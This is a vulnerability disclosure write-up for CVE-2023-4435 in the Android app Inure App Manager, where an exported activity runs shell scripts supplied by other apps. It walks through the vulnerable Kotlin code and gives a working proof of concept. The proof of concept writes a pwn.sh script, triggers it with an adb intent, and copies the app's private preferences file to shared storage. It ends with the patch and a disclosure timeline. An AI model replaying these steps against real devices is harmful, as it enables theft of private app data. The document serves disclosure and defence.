CVE-2023-4435 — hamza417 · Inure App Manager

Theft of arbitrary files via execution of attacker-controlled bash scripts through the exported BashAssociation activity.

Inure App Manager’s terminal feature includes a BashAssociation activity that accepts shell scripts via file:// URIs and executes them — useful for launching scripts directly from a file manager. The problem is that this activity is exported without any permission requirement, meaning any app on the device can send it a script and have it run under Inure’s process identity.

Background

An Android activity with android:exported="true" in the manifest can be started by any application on the device, without the user’s knowledge. If that activity also processes file:// URIs without restricting who can call it, a malicious app can write a shell script to shared external storage and then trigger the exported activity to execute it. The script runs under the target app’s UID — giving it access to everything that app can access, including its private /data/data/ directory.

Inure already defined a custom permission (inure.terminal.permission.RUN_SCRIPT) to gate script execution. The intent was there; it just wasn’t applied to BashAssociation.

Root Cause Analysis

Here’s the full BashAssociation.kt:

// BashAssociation.kt
class BashAssociation : BaseActivity() {

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        intent.data?.let {
            contentResolver.openInputStream(it)?.use { inputStream ->
                // copies the script to Inure's cache directory
                val file = File(applicationContext.cacheDir?.path + "/" +
                    DocumentFile.fromSingleUri(applicationContext, it)!!.name)
                file.outputStream().use { outputStream ->
                    inputStream.copyTo(outputStream)
                }

                // launches RunScript to execute it
                val intent = Intent(this, RunScript::class.java)
                intent.data = FileProvider.getUriForFile(
                    applicationContext, "${packageName}.provider", file)
                intent.action = RunScript.ACTION_RUN_SCRIPT
                intent.putExtra(RunScript.EXTRA_SCRIPT_PATH, file.absolutePath)
                startActivity(intent)
                finish()
            }
        }
    }
}

There is no validation on intent.data. The activity:

  1. Opens a stream from whatever URI it received — including file:// URIs from external storage
  2. Copies the file to Inure’s cache directory under the app’s own process
  3. Launches RunScript to execute it

An attacker writes a shell script to /sdcard/, then sends an intent with data = file:///sdcard/pwn.sh to BashAssociation. The script is copied to Inure’s cache and executed with Inure’s UID — giving the script access to Inure’s private data directory.

Proof of Concept

Step 1 — Write the payload to external storage:

adb shell
angelica:/ $ cd /sdcard
angelica:/sdcard $ mkdir inure-proof-of-concept
angelica:/sdcard/inure-proof-of-concept $ echo "cp /data/data/app.simple.inure/shared_prefs/Preferences.xml /sdcard/inure-proof-of-concept/inure-exfiltrated.xml" > pwn.sh
angelica:/sdcard/inure-proof-of-concept $ ls -la
total 10
drwxrwx--x 2 root sdcard_rw 3488 2023-08-13 13:32 .
drwxrwx--x 51 root sdcard_rw 3488 2023-08-13 13:31 ..
-rw-rw---- 1 root sdcard_rw 113 2023-08-13 13:32 pwn.sh

Step 2 — Send the intent to trigger execution:

adb shell am start \
  -a android.intent.action.VIEW \
  -d "file:///sdcard/inure-proof-of-concept/pwn.sh" \
  -n app.simple.inure/.activities.association.BashAssociation

Step 3 — Verify the exfiltration:

angelica:/sdcard/inure-proof-of-concept $ ls -la
total 14
drwxrwx--x 2 root sdcard_rw 3488 2023-08-13 13:34 .
drwxrwx--x 51 root sdcard_rw 3488 2023-08-13 13:31 ..
-rw-rw---- 1 root sdcard_rw 1119 2023-08-13 13:34 inure-exfiltrated.xml
-rw-rw---- 1 root sdcard_rw  113 2023-08-13 13:32 pwn.sh

angelica:/sdcard/inure-proof-of-concept $ cat inure-exfiltrated.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
  <boolean name="apk_external_storage" value="false" />
  <boolean name="is_external_storage" value="false" />
  <int name="app_accent_color" value="-29592" />
  <int name="main_app_launch_count" value="5" />
  <boolean name="is_custom_color" value="false" />
  <int name="view_positions" value="7" />
  <boolean name="disclaimer_agreed" value="true" />
  <string name="last_search_keyword"></string>
  <string name="crashCause">android.system.ErrnoException: open failed: ENOENT (No such file or directory)</string>
  <string name="home_path">/data/user/0/app.simple.inure/app_HOME</string>
  <string name="crash_message">java.lang.RuntimeException: Unable to start activity ComponentInfo{app.simple.inure/app.simple.inure.activities.association.BashAssociation}: java.io.FileNotFoundException: /sdcard/inure-proof-of-concept/inure-root-id-test.sh: open failed: ENOENT (No such file or directory)</string>
  <long name="crash_timestamp" value="1691896905717" />
  <boolean name="deep_search_keyword_mode" value="false" />
</map>

Preferences.xml is now on the sdcard. Worth noting: the crash_message field in the exfiltrated data is itself interesting — it reveals a previous failed test attempt (inure-root-id-test.sh), showing that Inure records its own crash details in the shared preferences. App-internal state, diagnostic data, and stored values all become accessible through this vector.

Impact

A malicious app on the same device can write any shell script to external storage and trigger BashAssociation to run it under Inure’s UID — giving full read/write access to Inure’s private /data/data/app.simple.inure/ directory, and execution of any command Inure is permitted to run. The severity is high: this is effectively arbitrary code execution in the context of the target app.

Patch Analysis

Fix commit e74062e. The correct fix is either setting android:exported="false" on BashAssociation (so it can only be started by explicit intents from within Inure itself) or adding android:permission="inure.terminal.permission.RUN_SCRIPT" to require callers to hold the permission the developer had already defined.

Timeline

DateEvent
2023-08-13Discovered and reported on huntr
2023-08-15Validated by maintainer
2023-08-20Scheduled public disclosure

References